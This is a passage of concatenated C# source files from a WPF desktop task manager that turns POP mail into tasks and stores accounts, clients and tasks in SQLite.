private void AccountPasswordBox_KeyDown (object sender, KeyEventArgs e) {
if (e.Key == Key.Enter)
CheckPassword();
if (e.Key == Key.Escape)
Close();
}
private void CheckPassword () {
if (AccountPasswordBox.Password.Equals(TestedAccount.AccountPassword, StringComparison.Ordinal))
State = AccountLoginResult.Successfully;
else {
State = AccountLoginResult.Wrong;
AccountPasswordBox.Password = "";
}
if (State != AccountLoginResult.Successfully)
return;
PasswordSuccessfullyEntered(TestedAccount);
Close();
}
}
}
<file_sep>/WorkManager/Exercises/ExerciseClientDao.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SQLite;
using System.Threading.Tasks;
namespace WorkManager {
public class ExerciseClientDao {
public static void DeleteClient (ExerciseClient client) {
if (client.Cid < 0)
return; //Wasn't even saved
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Delete)
.SetTableName("clients")
.Where(DbWhereSyntax.Equals, "cid", client.Cid)
.Limit(1)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not delete client: " + client.Cid, "ExerciseClientDao");
return;
}
}
public static void InsertClient (ExerciseClient client) {
if (client.FullName == "" &&
client.MailAddress == "")
return;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("clients")
.AddValues(GetClientValues(client, false))
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully inserted client: " + client.Cid, "ExerciseClientDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not insert client: " + client.Cid, "ExerciseClientDao");
}
}
public static bool UpdateClient (ExerciseClient client) {
if (client.Cid < 0)
return false;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Update)
.SetTableName("clients")
.AddValues(GetClientValues(client, false))
.Where(DbWhereSyntax.Equals, "cid", client.Cid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully updated client: " + client.Cid, "ExerciseClientDao", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not update client: " + client.Cid, "ExerciseClientDao");
return false;
}
}
private static List<DbValuePair> GetClientValues (ExerciseClient client, bool addCid = true) {
List<DbValuePair> values = new List<DbValuePair>();
if (addCid)
values.Add(new DbValuePair("cid", client.Cid));
values.Add(new DbValuePair("address", client.Address));
values.Add(new DbValuePair("company", client.Company));
values.Add(new DbValuePair("description", client.Description));
values.Add(new DbValuePair("displayas", client.DisplayAs));
values.Add(new DbValuePair("firstname", client.FirstName));
values.Add(new DbValuePair("lastname", client.LastName));
values.Add(new DbValuePair("mailaddress", client.MailAddress));
values.Add(new DbValuePair("salutation", client.Salutation));
values.Add(new DbValuePair("telephone", client.Telephone.ToString()));
return values;
}
internal static ExerciseClient GetClientFromFullName (ExerciseClient clientWithGivenName) {
ExerciseClient clientFromFullName = new ExerciseClient();
if (clientWithGivenName.FullName == "")
return clientFromFullName;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("clients")
.AddAttribute("cid")
.Where(DbWhereSyntax.Equals, "firstname", clientWithGivenName.FirstName)
.Where(DbWhereSyntax.Equals, "lastname", clientWithGivenName.LastName)
.Where(DbWhereSyntax.Equals, "salutation", clientWithGivenName.Salutation)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows == false)
throw new SQLiteException(SQLiteErrorCode.Empty, "No rows were returned.");
reader.Read();
clientFromFullName.Cid = reader.GetInt32(reader.GetOrdinal("cid"));
reader.Close();
reader.Dispose();
clientFromFullName = GetClientFromCid(clientFromFullName.Cid);
LogHandler.AddToLog("Successfully got client from fullname: " + clientWithGivenName.FullName, "ExerciseClientDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get client from fullname: " + clientWithGivenName.FullName, "ExerciseClientDao");
}
return clientFromFullName;
}
public static ExerciseClient GetClientFromCid (int cid) {
ExerciseClient client = new ExerciseClient(cid);
if (cid < 0)
return client;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("clients")
.Where(DbWhereSyntax.Equals, "cid", cid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows == false)
throw new SQLiteException(SQLiteErrorCode.Empty, "No rows were returned.");
reader.Read();
client.Address = reader.GetString(reader.GetOrdinal("address"));
client.Company = reader.GetString(reader.GetOrdinal("company"));
client.Description = reader.GetString(reader.GetOrdinal("description"));
client.DisplayAs = reader.GetString(reader.GetOrdinal("displayas"));
client.FirstName = reader.GetString(reader.GetOrdinal("firstname"));
client.LastName = reader.GetString(reader.GetOrdinal("lastname"));
client.MailAddress = reader.GetString(reader.GetOrdinal("mailaddress"));
client.Salutation = reader.GetString(reader.GetOrdinal("salutation"));
client.Telephone = reader.GetString(reader.GetOrdinal("telephone"));
reader.Close();
reader.Dispose();
LogHandler.AddToLog("Successfully got client from cid: " + cid, "ExerciseClientDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get client from cid: " + cid, "ExerciseClientDao");
}
return client;
}
internal static ExerciseClient GetClientFromMailAddress (string mailAddress) {
ExerciseClient client = new ExerciseClient(mailAddress, "");
if (mailAddress == "")
return client;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("clients")
.Where(DbWhereSyntax.Equals, "mailaddress", mailAddress)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows == false)
throw new SQLiteException(SQLiteErrorCode.Empty, "No rows were returned.");
reader.Read();
client.Address = reader.GetString(reader.GetOrdinal("address"));
client.Company = reader.GetString(reader.GetOrdinal("company"));
client.Description = reader.GetString(reader.GetOrdinal("description"));
client.DisplayAs = reader.GetString(reader.GetOrdinal("displayas"));
client.FirstName = reader.GetString(reader.GetOrdinal("firstname"));
client.LastName = reader.GetString(reader.GetOrdinal("lastname"));
client.Cid = reader.GetInt32(reader.GetOrdinal("cid"));
client.Salutation = reader.GetString(reader.GetOrdinal("salutation"));
client.Telephone = reader.GetString(reader.GetOrdinal("telephone"));
reader.Close();
reader.Dispose();
LogHandler.AddToLog("Successfully got client from mailaddress: " + mailAddress, "ExerciseClientDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get client from mailaddress: " + mailAddress, "ExerciseClientDao");
}
return client;
}
internal static void SaveClient (ExerciseClient client) {
if (client.Cid < 0)
InsertClient(client);
else
UpdateClient(client);
}
}
}
<file_sep>/WorkManager/MainWindow.xaml.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.Windows;
namespace WorkManager {
/// <summary>
/// Interaktionslogik für MainWindow.xaml
/// </summary>
public partial class MainWindow : Window {
private WorkManagerCore Manager;
public UserAccount CurrentAccount {
get {
UserAccount acc = new UserAccount(Account_MailAddress_CTB.Text.Trim());
acc.MailPassword = <PASSWORD>.Trim();
acc.MailServer = Account_MailServerAddress_TB.Text.Trim();
acc.MailServerPort = Int32.Parse(Account_MailServerPort_TB.Text.Trim());
acc.UseSsl = Account_UseSsl_CB.IsChecked ?? true;
acc.AccountPassword = <PASSWORD>Account<PASSWORD>.Trim();
acc.AutoLogin = Account_AutoLogin_CB.IsChecked ?? false;
acc.LogLevel = LogLevelDropDown.SelectedIndex;
return acc;
}
private set {
Account_MailAddress_CTB.Text = value.MailAddress;
Account_MailPassword_PTB.Password = <PASSWORD>;
Account_MailServerAddress_TB.Text = value.MailServer;
Account_MailServerPort_TB.Text = value.MailServerPort.ToString();
Account_UseSsl_CB.IsChecked = value.UseSsl;
Account_AccountPassword_PTB.Password = <PASSWORD>;
Account_AutoLogin_CB.IsChecked = value.AutoLogin;
LogLevelDropDown.SelectedIndex = value.LogLevel;
Manager.SetAccount(value);
LogHandler.AddToLog("Set new Account for AccountTab: " + value.MailAddress, "MainWindow", LogHandler.LogLevelStates.Detailed);
}
}
public ExerciseClient ShownClient {
get {
if (_ShownClient == null)
_ShownClient = new ExerciseClient();
_ShownClient.FirstName = firstname_client_tb.Text.Trim();
_ShownClient.Salutation = salutation_client_tb.Text.Trim();
_ShownClient.LastName = lastname_client_tb.Text.Trim();
_ShownClient.Telephone = telephone_client_tb.Text.Trim();
_ShownClient.MailAddress = mailaddress_client_tb.Text.Trim();
_ShownClient.Address = address_client_tb.Text.Trim();
_ShownClient.Company = company_client_tb.Text.Trim();
_ShownClient.DisplayAs = displayas_client_tb.Text.Trim();
_ShownClient.Description = description_client_tb.Text.Trim();
return _ShownClient;
}
set {
_ShownClient = value;
firstname_client_tb.Text = _ShownClient.FirstName;
salutation_client_tb.Text = _ShownClient.Salutation;
lastname_client_tb.Text = _ShownClient.LastName;
telephone_client_tb.Text = _ShownClient.Telephone;
mailaddress_client_tb.Text = _ShownClient.MailAddress;
address_client_tb.Text = _ShownClient.Address;
company_client_tb.Text = _ShownClient.Company;
displayas_client_tb.Text = _ShownClient.DisplayAs;
description_client_tb.Text = _ShownClient.Description;
ClientRelatedExercisesListView = new List<Exercise>();
foreach (int id in ExerciseClientNotificationDao.GetClientNotificationIdsFromCid(_ShownClient.Cid)) {
int eid = ExerciseClientNotificationDao.GetClientNotificationFromId(id).Eid;
ClientRelatedExercisesListView.Add(ExerciseDao.GetExerciseFromEid(eid));
}
relatedexercises_listview.ItemsSource = ClientRelatedExercisesListView;
}
}
private Exercise QuickOverviewExercise {
set {
if (value == null)
return;
qo_title.Text = value.Title;
qo_description.Text = value.Description;
qo_client.Text = value.Client.ShortTitle;
qo_priority.Value = value.Priority.Percent;
qo_duedate.Text = value.DueDate.DateString();
qo_categories.Text = value.Categories;
}
}
private ExerciseClient _ShownClient;
public static List<ExerciseClient> LoadedClientsListView { get; private set; }
private List<Exercise> ClientRelatedExercisesListView;
public MainWindow () {
InitializeComponent();
LogLevelDropDown.ItemsSource = LogHandler.LogLevelTitles;
LogLevelDropDown.SelectedIndex = (int)LogHandler.LogLevel;
LogHandler.LogTextBox = LogTextBox;
Manager = new WorkManagerCore(Overview_ExerciseOverview_DG);
Overview_Filter_CTB.ItemsSource = StringHandler.GetCollection("Filter");
Overview_Filter_CTB.SelectedIndex = 1;
UpdateAccountMailAddressItems();
HandleAutoLogin();
InitializeClientListView();
Task.Factory.StartNew(() => LogHandler.CheckFileSize());
LogHandler.AddToLog("Application initialized", "MainWindow", LogHandler.LogLevelStates.Detailed);
}
private void HandleAutoLogin () {
UserAccount account = UserAccountDao.GetUserAccountFromMailAddress(UserAccountDao.GetAutoLoginUserAccount());
if (account == null)
return;
Account_MailAddress_CTB.SelectedItem = account.MailAddress;
}
private UserAccount GetCurrentAccountSecure () {
//Is data valid?
if (Account_MailAddress_CTB.Text.Trim() == "") {
MessageBoxHandler.PromptInfo("Please fill in a Mail-Address.", "Not valid");
return null;
} else if (Account_MailPassword_PTB.Password.Trim() == "") {
MessageBoxHandler.PromptInfo("Please fill in a Mail-Password.", "Not valid");
return null;
} else if (Account_MailServerAddress_TB.Text.Trim() == "") {
MessageBoxHandler.PromptInfo("Please fill in a Mail-Server-Address.", "Not valid");
return null;
} else if (Account_MailServerPort_TB.Text.Trim() == "") {
MessageBoxHandler.PromptInfo("Please fill in a Mail-Server-Port.", "Not valid");
return null;
}
return CurrentAccount;
}
private void ClearLogBt_Click (object sender, RoutedEventArgs e) {
Task.Factory.StartNew(() => MessageBoxHandler.PromptWarning("Do you really want to delete all log-records?",
"Are you sure?", LogHandler.Clear));
}
private void Account_Save_Button_Click (object sender, RoutedEventArgs e) {
LogHandler.AddToLog("Start saving the current userAccount, triggered by a click on the account-save-bt", "MainWindow", LogHandler.LogLevelStates.Detailed);
SaveAccount(GetCurrentAccountSecure());
}
private void SaveAccount (UserAccount userAccount) {
if (TestConnection(userAccount) == false) {
LogHandler.AddToLog("Could not save the current userAccount. Account was not valid", "MainWindow");
return;
}
if (UserAccountDao.SaveToDatabase(userAccount)) {
LogHandler.AddToLog("Successfully saved current userAccount", "MainWindow");
} else {
LogHandler.AddToLog("Could not save the current userAccount. More details in the previous lines.", "MainWindow");
}
}
private void Account_TestConnection_BT_Click (object sender, RoutedEventArgs e) {
if (TestConnection(GetCurrentAccountSecure()) == false)
return;
Manager.SetAccount(CurrentAccount);
}
private bool TestConnection (UserAccount account) {
Account_TestConnection_TB.Text = "Testing connection ...";
PopMailReceiver client = new PopMailReceiver(account);
if (client.TestConnection() == false) {
Account_TestConnection_TB.Text = "Could not connect. See log for more information.";
return false;
} else {
Account_TestConnection_TB.Text = "Connected Successfully.";
return true;
}
}
private void UpdateAccountMailAddressItems () {
var mailAddresses = UserAccountDao.GetAllMailAddresses();
string oldSelection = Account_MailAddress_CTB.Text;
Account_MailAddress_CTB.Items.Clear();
foreach (string item in mailAddresses) {
Account_MailAddress_CTB.Items.Add(item);
if (item == oldSelection)
Account_MailAddress_CTB.SelectedItem = item;
}
LogHandler.AddToLog("Updated AccountMailAddress Combox", "MainWindow", LogHandler.LogLevelStates.Detailed);
}
private void Account_MailAddress_CTB_SelectionChanged (object sender, System.Windows.Controls.SelectionChangedEventArgs e) {
object mailAddress = Account_MailAddress_CTB.SelectedItem;
UserAccount selectedAccount = new UserAccount();
if (mailAddress != null)
selectedAccount = UserAccountDao.GetUserAccountFromMailAddress(mailAddress.ToString());
AccountTabAccountHandling(selectedAccount);
}
private void AccountTabAccountHandling (UserAccount account) {
if (account == null)
return;
if (account.AccountPassword != "") {
AccountLoginWindow login = new AccountLoginWindow(account);
login.Show();
login.PasswordSuccessfullyEntered += SetAccountTabAccountDirect;
return;
}
SetAccountTabAccountDirect(account);
}
private void SetAccountTabAccountDirect (UserAccount account) {
CurrentAccount = account;
}
private void Account_Delete_BT_Click (object sender, RoutedEventArgs e) {
string mailAddress = Account_MailAddress_CTB.Text.Trim();
if (Account_MailAddress_CTB.Items.Contains(mailAddress) == false)
return;
if (MessageBoxHandler.PromptWarning("Do you really want to delete the account " + mailAddress + "? " +
"This action is irreversible.", "Are you sure?") != MessageBoxResult.OK)
return;
UserAccountDao.DeleteUserAccount(mailAddress);
UpdateAccountMailAddressItems();
}
private void AccountTab_RequestBringIntoView (object sender, RoutedEventArgs e) {
if (e.Source == AccountTab)
UpdateAccountMailAddressItems();
}
private void LogLevelDropDown_SelectionChanged (object sender, System.Windows.Controls.SelectionChangedEventArgs e) {
if (e.Source != LogLevelDropDown)
return;
string levelText = LogLevelDropDown.SelectedValue.ToString();
LogHandler.LogLevel = (LogHandler.LogLevelStates)LogHandler.LogLevelTitles.IndexOf(levelText);
SaveAccount(CurrentAccount);
}
private void Overview_Refresh_BT_Click (object sender, RoutedEventArgs e) {
Manager.Refresh();
}
private void Overview_Filter_CTB_SelectionChanged (object sender, System.Windows.Controls.SelectionChangedEventArgs e) {
Manager.ExerciseFilterText = e.AddedItems[0].ToString();
Manager.Refresh(false);
}
private void Overview_ExerciseOverciew_DG_MouseDoubleClick (object sender, System.Windows.Input.MouseButtonEventArgs e) {
Exercise selectedExercise = (Exercise) Overview_ExerciseOverview_DG.SelectedItem;
OpenExerciseWindow(selectedExercise);
}
private void Button_Click (object sender, RoutedEventArgs e) {
OpenExerciseWindow();
}
private void OpenExerciseWindow (Exercise exercise = null) {
if (exercise == null ||
exercise.IsValid() == false)
exercise = new Exercise(CurrentAccount.MailAddress);
ExercisesWindow window = new ExercisesWindow(exercise, Manager.DataBinder);
window.Show();
}
private void Overview_DeleteSelection_BT_Click (object sender, RoutedEventArgs e) {
if (MessageBoxHandler.PromptWarning("Do you really want to delete all selected exercises? This cannot be undone!", "Are you sure?") != MessageBoxResult.OK)
return;
List<int> selectedExercises = new List<int>();
foreach (Exercise exercise in Overview_ExerciseOverview_DG.SelectedItems)
selectedExercises.Add(exercise.Eid);
foreach (int id in selectedExercises)
Manager.DeleteExercise(id);
}
private void save_client_bt_Click (object sender, RoutedEventArgs e) {
ExerciseClientDao.SaveClient(ShownClient);
InitializeClientListView();
}
private void delete_client_bt_Click (object sender, RoutedEventArgs e) {
List<int> notificationIds = ExerciseClientNotificationDao.GetClientNotificationIdsFromCid(ShownClient.Cid);
if (MessageBoxHandler.PromptWarning("Do you really want to delete this client?\n" +
notificationIds.Count.ToString() + " exercise(s) is(are) affected.", "Are you sure?") != MessageBoxResult.Yes)
return;
ExerciseClientDao.DeleteClient(ShownClient);
//Delete all client notifications related to the client
foreach (int id in notificationIds)
ExerciseClientNotificationDao.DeleteClientNotification(id);
InitializeClientListView();
}
private void InitializeClientListView () {
LoadedClientsListView = new List<ExerciseClient>();
client_listview.ItemsSource = LoadedClientsListView;
List<int> clientsToAccount = GetRelevantClientCids();
foreach (int cid in clientsToAccount) {
ExerciseClient client = ExerciseClientDao.GetClientFromCid(cid);
if (client.IsValid)
LoadedClientsListView.Add(client);
}
client_listview.ItemsSource = LoadedClientsListView;
}
private void client_listview_SelectionChanged (object sender, System.Windows.Controls.SelectionChangedEventArgs e) {
int index = client_listview.SelectedIndex;
if (index < 0)
return;
ExerciseClientDao.SaveClient(ShownClient);
ShownClient = LoadedClientsListView[index];
}
private List<int> GetRelevantClientCids () {
List<int> ids = new List<int>();
foreach (int eid in ExerciseDao.GetAllEids(CurrentAccount.MailAddress)) {
ExerciseClientNotification clientNotification = ExerciseClientNotificationDao.GetClientNotificationFromEid(eid);
if (ids.Contains(clientNotification.Cid))
continue;
ids.Add(clientNotification.Cid);
}
return ids;
}
private void relatedexercises_listview_MouseLeftButtonUp (object sender, System.Windows.Input.MouseButtonEventArgs e) {
LogHandler.AddToLog("Exercises from ExerciseClient selected to open", "MainWindow", LogHandler.LogLevelStates.Detailed);
int index = relatedexercises_listview.SelectedIndex;
if (index < 0)
return;
OpenExerciseWindow(ClientRelatedExercisesListView[index]);
}
private void Overview_ExerciseOverview_DG_SelectionChanged (object sender, System.Windows.Controls.SelectionChangedEventArgs e) {
QuickOverviewExercise = (Exercise) Overview_ExerciseOverview_DG.SelectedItem;
}
private void client_listview_MouseLeftButtonUp (object sender, System.Windows.Input.MouseButtonEventArgs e) {
LogHandler.AddToLog("Refreshing ExerciseClient", "MainWindow", LogHandler.LogLevelStates.Detailed);
ShownClient = ShownClient;
}
}
}
<file_sep>/WorkManager/Exercises/ExerciseDao.cs
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
class ExerciseDao {
public static void DeleteExerciseFromEid (int eid) {
if (eid < 0)
return; //Wasn't even saved
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Delete)
.SetTableName("exercises")
.Where(DbWhereSyntax.Equals, "eid", eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not delete exercise: " + eid, "ExerciseDao");
}
}
public static bool InsertExercise (Exercise exercise) {
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("exercises")
.AddValues(GetExerciseValues(exercise, false))
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully inserted exercise: " + exercise.Eid, "ExerciseDao", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not insert exercise: " + exercise.Eid, "ExerciseDao");
return false;
}
}
public static bool UpdateExercise (Exercise exercise) {
if (exercise.Eid < 0)
return false;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Update)
.SetTableName("exercises")
.AddValues(GetExerciseValues(exercise, false))
.Where(DbWhereSyntax.Equals, "eid", exercise.Eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
UpdateExternalData(exercise);
LogHandler.AddToLog("Successfully updated exercise: " + exercise.Eid, "ExerciseDao", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not update exercise: " + exercise.Eid, "ExerciseDao");
return false;
}
}
public static void UpdateExternalData (Exercise exercise) {
CategorieDataBinder.HandleCategoriesOfExercise(exercise);
ExerciseClientNotificationDao.HandleClientNotificationOfExercise(exercise);
}
private static List<DbValuePair> GetExerciseValues (Exercise exercise, bool addEid = true) {
List<DbValuePair> values = new List<DbValuePair>();
if (addEid)
values.Add(new DbValuePair("eid", exercise.Eid));
values.Add(new DbValuePair("title", exercise.MetaData.Title));
values.Add(new DbValuePair("description", exercise.MetaData.Description));
values.Add(new DbValuePair("priority", exercise.MetaData.Priority));
values.Add(new DbValuePair("duedate", exercise.MetaData.DueDate));
values.Add(new DbValuePair("receivedate", exercise.MetaData.ReceiveDate));
values.Add(new DbValuePair("workduration", exercise.MetaData.WorkDuration));
values.Add(new DbValuePair("targetworkduration", exercise.MetaData.TargetWorkDuration));
values.Add(new DbValuePair("workdirectorypath", exercise.MetaData.WorkDirectoryPath));
values.Add(new DbValuePair("finished", exercise.MetaData.Finished));
values.Add(new DbValuePair("account", exercise.Account));
return values;
}
public static List<int> GetAllEids (string account, string filterText = "") {
List<int> eids = new List<int>();
if (account == null ||
account == "")
return eids;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercises")
.AddAttribute("eid")
.Where(DbWhereSyntax.Equals, "account", account)
.Where(GetExerciseFilter(filterText))
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows)
while (reader.Read()) {
eids.Add(reader.GetInt32(reader.GetOrdinal("eid")));
} else
LogHandler.AddToLog("Could not load eids, no rows were returned: " + account, "ExerciseDao", LogHandler.LogLevelStates.Detailed);
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read eids data from database", "ExerciseDao");
return eids;
}
return eids;
}
public static Exercise GetExerciseFromEid (int eid) {
Exercise exercise = new Exercise(eid);
if (eid < 0)
return exercise;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercises")
.Where(DbWhereSyntax.Equals, "eid", eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows == false)
throw new SQLiteException(SQLiteErrorCode.Empty, "No rows were returned.");
reader.Read();
exercise.MetaData.Title = reader.GetString(reader.GetOrdinal("title"));
exercise.MetaData.Description = reader.GetString(reader.GetOrdinal("description"));
exercise.MetaData.Priority = new PercentValue(reader.GetFloat(reader.GetOrdinal("priority")));
exercise.MetaData.DueDate = new ExerciseDate(reader.GetString(reader.GetOrdinal("duedate")));
exercise.MetaData.ReceiveDate = new ExerciseDate(reader.GetString(reader.GetOrdinal("receivedate")));
exercise.MetaData.WorkDuration = new ExerciseTimeSpan(reader.GetString(reader.GetOrdinal("workduration")));
exercise.MetaData.TargetWorkDuration = new ExerciseTimeSpan(reader.GetString(reader.GetOrdinal("targetworkduration")));
exercise.MetaData.WorkDirectoryPath = reader.GetString(reader.GetOrdinal("workdirectorypath"));
exercise.MetaData.Finished = reader.GetBoolean(reader.GetOrdinal("finished"));
exercise.Account = reader.GetString(reader.GetOrdinal("account"));
reader.Close();
reader.Dispose();
exercise = GetExternalData(exercise);
LogHandler.AddToLog("Successfully got exercise from eid: " + eid, "ExerciseDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get exercise from eid: " + eid, "ExerciseDao");
}
return exercise;
}
private static Exercise GetExternalData (Exercise exercise) {
exercise.MetaData.Categories = CategorieDataBinder.GetCategoriesFromEid(exercise.Eid);
exercise.MetaData.ClientNotification = ExerciseClientNotificationDao.GetClientNotificationFromEid(exercise.Eid);
exercise.MetaData.Client = ExerciseClientDao.GetClientFromCid(exercise.MetaData.ClientNotification.Cid);
return exercise;
}
private static DbWhereStatement GetExerciseFilter (string filterText) {
DbWhereStatement filter = null;
if (StringHandler.Equals(filterText, "finished"))
filter = new DbWhereStatement(DbWhereSyntax.Equals, new DbValuePair("finished", 1), "AND");
else if (StringHandler.Equals(filterText, "to do"))
filter = new DbWhereStatement(DbWhereSyntax.NotEqualTo, new DbValuePair("finished", 1), "AND");
else if (StringHandler.Equals(filterText, "until today")) {
filter = new DbWhereStatement(DbWhereSyntax.NotEqualTo, "duedate", new ExerciseDate(DateTime.Today).ToString(), "AND");
}
return filter;
}
public static int GetLatestEidFromAccount (string account) {
int lastId = -1;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercises")
.AddAttribute("eid")
.Where(DbWhereSyntax.Equals, "account", account)
.OrderBy(DbOrderBySyntax.Descending, "eid")
.Limit(1)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows == false)
return lastId;
reader.Read();
lastId = reader.GetInt32(reader.GetOrdinal("eid"));
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read latest eid data from account: " + account, "ExerciseDao");
return lastId;
}
return lastId;
}
}
}
<file_sep>/WorkManager/Account/AccountLoginResult.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public enum AccountLoginResult {
Entering,
Canceled,
Wrong,
Successfully
}
}
<file_sep>/WorkManager/Exercises/ExerciseConverter.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenPop.Mime;
namespace WorkManager {
public class ExerciseConverter {
internal static ExerciseMetaData ExtractMetaData (Message mail) {
ExerciseMetaData metaData = new ExerciseMetaData();
try {
string plainTextMail = GetPlainText(mail);
List<string> lines = new List<string>(plainTextMail.Split(new char[] { '\n', '\r' }));
metaData.Client = new ExerciseClient(mail.Headers.From.DisplayName, mail.Headers.From.Address);
metaData.ReceiveDate.Date = mail.Headers.DateSent;
foreach (string line in lines) {
if (line == "")
continue;
string tmp = "";
//Categories
if ((tmp = StringHandler.CompareWithCollection(line, "Categories", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
foreach (string cat in tmp.Split(','))
metaData.Categories.Add(new CategorieData().SetCategorie(cat.Trim()));
continue;
}
//Dueday
if ((tmp = StringHandler.CompareWithCollection(line, "Dueday", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
metaData.DueDate.Date = StringHandler.GetDateFromString(tmp, metaData.ReceiveDate.Date);
continue;
}
//Notify
if ((tmp = StringHandler.CompareWithCollection(line, "Notify", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
if (StringHandler.CompareWithCollection(tmp, "Negation", StringHandler.Equals) != "")
metaData.ClientNotification.Notify = false;
else
metaData.ClientNotification.Notify = true;
continue;
}
//Priority
if ((tmp = StringHandler.CompareWithCollection(line, "Priority", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
tmp = StringHandler.Clean(tmp, '%');
metaData.Priority = new PercentValue(Int32.Parse(tmp));
continue;
}
//Title
if (metaData.Title == "") {
metaData.Title = StringHandler.Clean(line);
continue;
}
//Description
metaData.Description = StringHandler.AddLine(metaData.Description, StringHandler.Clean(line));
}
if (metaData.Title == "")
metaData.Title = metaData.Client.FirstName;
LogHandler.AddToLog("Created new metadata from mail: " + metaData.Title, "ExerciseConverter", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Error occurd while trying to convert exercise", "ExerciseConverter");
}
return metaData;
}
public static string GetPlainText (Message message) {
MessagePart plainText = message.FindFirstPlainTextVersion();
if (plainText != null) {
LogHandler.AddToLog("Could find plain-text version", "ExerciseConverter", LogHandler.LogLevelStates.Detailed);
return plainText.GetBodyAsText();
}
string htmlText = new string(Encoding.UTF8.GetChars(message.MessagePart.Body));
return HtmlBracketRemover(htmlText);
}
public static string HtmlBracketRemover (string html) {
html = HtmlBreakInserter(html);
int startIndexBrackets = 0;
for (int i = 0; i < html.Count(); i++) {
if (html[i] == '<') {
startIndexBrackets = i;
} else if (html[i] == '>') {
if (startIndexBrackets < 0)
break;
html = html.Remove(startIndexBrackets, i - startIndexBrackets + 1);
i -= i - startIndexBrackets + 1;
startIndexBrackets = -1;
}
}
return html.Trim();
}
private static string HtmlBreakInserter (string html) {
html = html.Replace("</br>", "\n");
html = html.Replace("<br>", "\n");
return html;
}
}
}
<file_sep>/WorkManager/old/v1/WorkManagerDataBinderV1.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SQLite;
using System.IO;
namespace WorkManager.old.v1 {
class WorkManagerDataBinderV1 {
public event DatabaseProcessing IOProcessing;
public static string DatabasePath;
public string ExerciseFilterText { get; set; }
public WorkManagerDataBinderV1 (string databasePath) {
DatabasePath = databasePath;
TestDatabaseConnection();
}
private bool TestDatabaseConnection () {
FileInfo databaseFile = new FileInfo(DatabasePath);
if (databaseFile.Exists) {
LogHandler.AddToLog("[TEST] Successfully connected to database: " + DatabasePath, "WorkManagerDataBinderV1", LogHandler.LogLevelStates.Detailed);
return true;
